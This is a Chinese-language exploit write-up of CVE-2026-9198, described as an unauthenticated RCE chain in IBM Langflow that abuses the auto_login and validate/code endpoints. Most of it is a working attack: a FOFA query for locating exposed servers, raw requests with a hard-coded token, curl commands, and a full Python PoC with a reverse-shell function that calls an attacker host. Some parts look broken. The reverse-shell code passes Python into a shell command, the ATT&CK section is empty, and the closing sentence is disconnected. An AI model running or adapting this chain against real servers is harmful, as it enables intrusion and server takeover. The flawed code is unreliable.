CVE-2026-9198 深度复盘:IBM Langflow AI 平台零认证 RCE 攻击链全拆解
漏洞概览
2026 年 8 月 4 日,CISA 将 CVE-2026-9198 加入已知被利用漏洞(KEV)目录。这个 CVSS 9.8 的零认证远程代码执行漏洞影响 IBM Langflow OSS 1.0.0 至 1.10.0 版本,攻击者无需任何凭据即可通过两个 API 端点的链式调用在目标服务器上执行任意 Python 代码。
Langflow 是 IBM 在 2024 年收购的低代码 AI Agent 可视化编排平台,被大量团队用于拖拽式构建 LLM 工作流。这意味着该漏洞直接威胁 AI 基础设施层——不是模型本身的幻觉或注入,而是承载 Agent 运行的应用服务器。
┌─────────────────────────────────────────────────────┐
│ CVE-2026-9198 攻击链 │
│ │
│ 攻击者 │
│ │ │
│ ▼ │
│ Step 1: POST /api/v1/auto_login │
│ │ ← 无需任何凭据 │
│ ▼ │
│ 获得 SUPERUSER Bearer Token(长期有效) │
│ │ │
│ ▼ │
│ Step 2: POST /api/v1/validate/code │
│ │ Authorization: Bearer <SUPERUSER_TOKEN> │
│ │ Body: {"code": "import os; os.system('id')"} │
│ ▼ │
│ Python exec() 执行任意代码 │
│ │ │
│ ▼ │
│ 完全控制 Langflow 服务器进程 │
└─────────────────────────────────────────────────────┘影响版本
OSS 1.0.0 <=IBM Langflow <1.10.0
漏洞复现
FOFA:title=“Langflow” ||body=“langflow”
GET /api/v1/auto_login HTTP/1.1
Host: 127.0.0.1
POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1
Authorization: Bearer "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlYjdjZTNkMC00ZjNlLTQwYTItOTlhYy03YjI2M2YxZWE1YTMiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxODE4MTQyNTE1fQ.9EQY41U7mOQVzWwrKii-gnnGN3z0Gl4XPxEHCDAy6kI
Content-Type: application/json
{"code": "def _nuclei_scan(_=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True, stderr=__import__(\"subprocess\").STDOUT).decode())')):\n pass"}
漏洞技术细节
根因分析:两个缺陷的致命组合
CVE-2026-9198 不是单一漏洞,而是两个独立设计缺陷的链式利用。
缺陷一:/api/v1/auto_login 认证绕过
Langflow OSS 默认启用 AUTO_LOGIN=True。在这个配置下,/api/v1/auto_login 端点会向任何未认证的网络调用者发放 SUPERUSER 级别的 Bearer Token,且不进行任何凭据检查。
# Langflow OSS 源码中 auto_login 端点的核心逻辑(简化)
@app.post("/api/v1/auto_login")
async def auto_login():
# AUTO_LOGIN 默认为 True
# 任何网络调用者都能获得超级用户令牌
token = create_super_user_token() # 长期有效
return {"access_token": token}关键问题:
AUTO_LOGIN在默认配置中为True(开箱即用)Token 权限为
SUPERUSER,拥有所有操作的完整权限Token 有效期较长,不存在自动过期机制
无 IP 白名单、无速率限制、无审计日志
缺陷二:/api/v1/validate/code 代码注入
/api/v1/validate/code 端点接收用户提交的 Python 代码,并直接通过 exec() 执行,没有任何沙箱隔离、输入限制或资源限制。
# Langflow OSS 源码中 validate/code 端点的核心逻辑(简化)
@app.post("/api/v1/validate/code")
async def validate_code(
request: Request,
code: str = Body(..., embed=True),
token: str = Depends(get_current_user), # 只需有效 token
):
# 直接 exec() 执行用户代码
# 无沙箱、无 AST 检查、无资源限制
exec(code) # ← CWE-94: Improper Control of Generation of Code
return {"status": "valid"}exec() 的危险在于它执行的是完整的 Python 语句,包括 import、os.system()、subprocess.Popen() 等可触发系统级操作的调用。更严重的是,装饰器和默认参数表达式在函数定义时就会执行,即使后续不调用该函数。
MITRE ATT&CK 映射
攻击链复现
环境准备
# 安装受影响版本
pip install langflow==1.10.0
# 启动 Langflow(默认配置,AUTO_LOGIN=True)
langflow run --host 0.0.0.0 --port 7860Step 1:获取 SUPERUSER Token
# 无需任何凭据,直接请求 auto_login
curl -X POST http://target:7860/api/v1/auto_login
# 响应:
# {"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
# "token_type":"bearer"}Step 2:利用 validate/code 执行任意代码
# 使用获得的 Token 执行系统命令
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
curl -X POST http://target:7860/api/v1/validate/code \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"code": "import os; print(os.popen(\"id\").read())"}'
# 响应包含命令执行结果:
# uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)完整 PoC 脚本
"""
CVE-2026-9198 PoC - IBM Langflow OSS Unauthenticated RCE
影响版本: 1.0.0 - 1.10.0
修复版本: 1.10.1
仅用于授权安全测试。
"""
import requests
import sys
import json
def exploit(target_url: str, command: str) -> str:
"""
执行 CVE-2026-9198 攻击链:
1. 通过 auto_login 获取 SUPERUSER Token
2. 通过 validate/code 执行任意命令
"""
session = requests.Session()
session.headers.update({"User-Agent": "CVE-2026-9198-PoC/1.0"})
# Step 1: 获取 SUPERUSER Token
print(f"[*] 目标: {target_url}")
print("[*] Step 1: 请求 /api/v1/auto_login ...")
resp = session.post(
f"{target_url}/api/v1/auto_login",
timeout=10
)
if resp.status_code != 200:
print(f"[-] auto_login 失败: HTTP {resp.status_code}")
sys.exit(1)
token = resp.json().get("access_token")
if not token:
print("[-] 响应中未找到 access_token")
sys.exit(1)
print(f"[+] 获得 SUPERUSER Token: {token[:50]}...")
# Step 2: 执行任意代码
print(f"[*] Step 2: 通过 /api/v1/validate/code 执行命令: {command}")
payload = {
"code": f"import os; print(os.popen('{command}').read())"
}
resp = session.post(
f"{target_url}/api/v1/validate/code",
headers={
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
},
json=payload,
timeout=30
)
if resp.status_code == 200:
result = resp.json()
print(f"[+] 执行成功:")
print(result)
return result
else:
print(f"[-] 执行失败: HTTP {resp.status_code}")
print(resp.text)
sys.exit(1)
def reverse_shell(target_url: str, lhost: str, lport: int):
"""通过 CVE-2026-9198 建立反弹 Shell"""
shell_code = f"""
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{lhost}", {lport}))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
"""
exploit(target_url, f"exec('''{shell_code}''')")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: python {sys.argv[0]} <target_url> <command>")
print(f"示例: python {sys.argv[0]} http://localhost:7860 id")
sys.exit(0)
target = sys.argv[1]
cmd = sys.argv[2]
exploit(target, cmd)
这种技术可以绕过基于函数体分析的简单检测规则。